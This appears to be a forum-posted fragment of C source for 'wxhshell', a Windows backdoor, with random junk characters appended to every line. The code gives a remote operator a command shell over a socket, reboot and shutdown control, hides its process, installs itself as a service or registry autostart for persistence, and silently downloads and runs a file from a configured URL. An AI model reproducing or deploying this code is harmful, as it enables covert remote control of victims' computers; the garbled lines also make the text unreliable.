    switch(cmd[0]) { r]deVd G  
  l@5kw]6  
  // 帮助 MmQk@~  
  case '?': { >ra)4huZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gs(ZJO1 /L  
    break; 6J<R;g23R]  
  } GGU>={D)  
  // 安装 {#,?K  
  case 'i': { ] Jnrs  
    if(Install()) E/hO0Ox6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y^QG\6q  
    else $#-O^0D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &3|l4R\  
    break; (z:qj/|  
    } "XLFw;o  
  // 卸载 1b<[/g9  
  case 'r': { t+#vcg,G  
    if(Uninstall()) 1nR\ m+{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )C$pjjo/`  
    else l^2m7 7)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v+~O\v5Q  
    break; "I QM4:  
    } x~ E\zw  
  // 显示 wxhshell 所在路径 *{(tg~2'(  
  case 'p': { bAEwjZ  
    char svExeFile[MAX_PATH]; [JEf P/n|.  
    strcpy(svExeFile,"\n\r"); $"g'C8  
      strcat(svExeFile,ExeFile); M7=|N:/_  
        send(wsh,svExeFile,strlen(svExeFile),0); nP0rg  
    break; +t8#rT ^B  
    } #s{EIj~YR_  
  // 重启 |`pDOd  
  case 'b': { Z3f}'vr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dN@C)5pm5`  
    if(Boot(REBOOT)) UHS "{%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {$I1(DYN  
    else { L=gG23U&  
    closesocket(wsh); @CS%=tE}U  
    ExitThread(0); ! u9LZ  
    } ;( (|0Xa  
    break; \s6 VOR/  
    } J; N\q  
  // 关机 ~!P&LZ  
  case 'd': { |#sY(1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JvF0s}#4  
    if(Boot(SHUTDOWN))  = Atyy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _FkH;MGWS  
    else { IM_SZs  
    closesocket(wsh); M%OUkcWCk  
    ExitThread(0); _adW>-wQ!d  
    } Y/f8rN  
    break; a>&dAo}  
    } Zd]ua_)I%[  
  // 获取shell q}C;~nMD  
  case 's': { 23X-h#w  
    CmdShell(wsh); NbK67p:  
    closesocket(wsh); I:M15  
    ExitThread(0); ^sF(IV[>  
    break; |(=b  
  } $XcuU sG  
  // 退出 }" STc&1  
  case 'x': { Qx8O&C?Ti  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }[y_Fr0  
    CloseIt(wsh); l)f 2T@bHl  
    break; bZ}T;!U?I  
    } jxZ_-1  
  // 离开 }Vfc;2  
  case 'q': { +&.39q !  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jP.dQj^j&  
    closesocket(wsh); G[]h1f!  
    WSACleanup(); v)~!HCG  
    exit(1); K@?K4o   
    break; {a,U{YJ\H  
        } 1aezlDc*  
  } {[bB$~7Eu  
  } v7<r- <I[  
p3qKtMs0!  
  // 提示信息 g6@^n$Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *t`=1Ioj  
} y24/lc  
  } Ej<`HbJ 'Q  
.SDE6nvbW  
  return; {6mFI1;q  
} >gDKkeLD  
j2oU1' b  
// shell模块句柄 p-h(C'PqF  
int CmdShell(SOCKET sock) #e[igxwi  
{ Jm 1n|f  
STARTUPINFO si; HMw}pp:  
ZeroMemory(&si,sizeof(si)); gR wRhA/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lr=quWDY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !Y*O0_  
PROCESS_INFORMATION ProcessInfo; 7!~)a  
char cmdline[]="cmd"; u6 4{w,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p+CK+m   
  return 0; !gi3J @  
} Ki(0s  
8Rnq &8A  
// 自身启动模式 yY!@FGsA  
int StartFromService(void) o4,9jk$  
{ &(NW_ <(  
typedef struct 'JJ :  
{ q*}$1 zb  
  DWORD ExitStatus; B-wF1! Jv  
  DWORD PebBaseAddress; L(}/W~En  
  DWORD AffinityMask; 5>-~!Mg1  
  DWORD BasePriority; ",]A.,  
  ULONG UniqueProcessId; V=E5pB`Pr  
  ULONG InheritedFromUniqueProcessId; j3fq}>=  
}   PROCESS_BASIC_INFORMATION; B %  
C\* 0621  
PROCNTQSIP NtQueryInformationProcess; OKnpG*)u=g  
2 ;Q|h$ n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Hi&bNM>?O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 54Vb[;`Kkb  
n66b(6"mO2  
  HANDLE             hProcess; ySH io;g9  
  PROCESS_BASIC_INFORMATION pbi; ~I@ % ysR  
vAtR\ Vh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Er|j\(jM  
  if(NULL == hInst ) return 0; >iI_bcqF  
eY_BECJ+OO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  /EwNMU*6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #yOeL3|b'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /U="~{*-R  
\F<C$cys\  
  if (!NtQueryInformationProcess) return 0; Wv30;7~  
nbBox,zW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =_[Ich,}  
  if(!hProcess) return 0; `&J=3x  
70Ei<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3u'@anre  
F 7X ] h  
  CloseHandle(hProcess); 9Yji34eDZ  
k"+/DK,:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?$=Ml$  
if(hProcess==NULL) return 0; h4c4!S  
@e+qe9A|  
HMODULE hMod; \j0016;  
char procName[255]; nr%P11U\c  
unsigned long cbNeeded; *a` _,Q{x  
,PX7}//X^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pZ 7KWk4  
vH@b  
  CloseHandle(hProcess); -uB*E1|Q  
ES5a`"H  
if(strstr(procName,"services")) return 1; // 以服务启动 :V#B]:Z9  
fjHd"!)3  
  return 0; // 注册表启动 )SfM`W)Y  
} >ajcfG .k(  
*-@@t+3  
// 主模块 Pk:b:(4  
int StartWxhshell(LPSTR lpCmdLine) 9)'wgI#  
{ Q S<)*  
  SOCKET wsl; V# JuNJ  
BOOL val=TRUE; 2K2_-  
  int port=0; M2M&L,/O  
  struct sockaddr_in door; /?S,u,R  
"gt*k#  
  if(wscfg.ws_autoins) Install(); '3B7F5uLx"  
Lp{/  
port=atoi(lpCmdLine); on f7V  
]"i^ VVw  
if(port<=0) port=wscfg.ws_port; #3YYE5cB  
S>R40T=e  
  WSADATA data; i7`/"5I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z"Wyf6H0T  
>"D0vj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8[IR;gZf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gO bP  
  door.sin_family = AF_INET; 20)8e!jP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "Wy!,RH  
  door.sin_port = htons(port); TWU1@5?Ct  
Kj+TP qXb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oi%IHX(`  
closesocket(wsl); xgWVxX^)  
return 1; LHq*E`  
} t=n@<1d  
'^BTa6W}m  
  if(listen(wsl,2) == INVALID_SOCKET) { _j]vR  
closesocket(wsl); sl*&.F,v=  
return 1; Oma G|2u  
} 4x" je  
  Wxhshell(wsl); J!iK W  
  WSACleanup();  bRx}ih  
}SGb`l  
return 0; n;r W  
HG)h,&nc-  
} m!:sDQn{3  
03 ;L  
// 以NT服务方式启动 S,#UA%V"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nk+9 J#Gs  
{ .7n`]S/  
DWORD   status = 0; O_Z   
  DWORD   specificError = 0xfffffff; n ZzGak  
=]0AZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~.Cu,>fV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -7m7.>/M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xUDXg*  
  serviceStatus.dwWin32ExitCode     = 0; G V%@A  
  serviceStatus.dwServiceSpecificExitCode = 0; I0OfK3!^  
  serviceStatus.dwCheckPoint       = 0; -aIB_  
  serviceStatus.dwWaitHint       = 0; hFDo{yI  
CoM?cS S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9j$J}=y  
  if (hServiceStatusHandle==0) return; O_&Km[  
Yu|L6#[E  
status = GetLastError(); Y NGS"3F  
  if (status!=NO_ERROR) 8&v%>wxR@  
{ {Pe+d3Eoo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bYy7Ul6]  
    serviceStatus.dwCheckPoint       = 0; Bmi9U   
    serviceStatus.dwWaitHint       = 0; b IZi3GmRF  
    serviceStatus.dwWin32ExitCode     = status; 2%@<A  
    serviceStatus.dwServiceSpecificExitCode = specificError; @;{iCVW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g;!,2,De}  
    return; L_fiE3G|>  
  } /Xw wB  
nY_+V{F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >\>!Q V1@  
  serviceStatus.dwCheckPoint       = 0; ljjnqQ%  
  serviceStatus.dwWaitHint       = 0; >>0c)uC|W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,kE"M1W  
} CDWchY  
;V4f6[<]'z  
// 处理NT服务事件,比如:启动、停止 s6_[H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E=l^&[dIl  
{ LZA pz}  
switch(fdwControl) "@ @Z{  
{ +<n8O~h  
case SERVICE_CONTROL_STOP: pv,I_"  
  serviceStatus.dwWin32ExitCode = 0; Dqm;twd>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7 JVonruaR  
  serviceStatus.dwCheckPoint   = 0; =%9j8wHX  
  serviceStatus.dwWaitHint     = 0; 0/zgjT|fe  
  { ]s~%1bd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %s[ n2w  
  } KgEfhO$W  
  return; 4 UnN~  
case SERVICE_CONTROL_PAUSE:  ehQ~+x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @'FOM  
  break; Y>PC>  
case SERVICE_CONTROL_CONTINUE: IJofbuzw:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a9TKp$LP`  
  break; sQ%gf  
case SERVICE_CONTROL_INTERROGATE: K?acRi  
  break; n; *W#c  
}; 3+iQct[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S$i3/t  
} w-?Cg8bq<  
x-@6U  
// 标准应用程序主函数 ZVz`-h B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +zSdP2s  
{  ~b LhI  
`r.  
// 获取操作系统版本 Mt+gg F.  
OsIsNt=GetOsVer(); XnV$}T:?X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3ypf_]<  
firiYL"=44  
  // 从命令行安装 VseeU;q  
  if(strpbrk(lpCmdLine,"iI")) Install(); s@5r}6?M  
IP l]$j>N  
  // 下载执行文件 u YJL^I8M'  
if(wscfg.ws_downexe) { [7gwJiK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) + xRSd *  
  WinExec(wscfg.ws_filenam,SW_HIDE); gqan]b_  
} ;>B06v  
3dC ;B@  
if(!OsIsNt) { k^r-~q+NV#  
// 如果时win9x,隐藏进程并且设置为注册表启动 KVCj06}j  
HideProc(); gD/% l[  
StartWxhshell(lpCmdLine); 6O'6,%#  
} ?$AWY\  
else ~[4zm$R^  
  if(StartFromService())  g=x1}nm  
  // 以服务方式启动 {Qj7?}xW  
  StartServiceCtrlDispatcher(DispatchTable); =E' .T0v  
else hS +R /7  
  // 普通方式启动 V2_I=]p_  
  StartWxhshell(lpCmdLine); VNWa3`w  
^_pJEX  
return 0; 6*=7ifS  
}
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只看该作者 1 发表于: 2006-10-10
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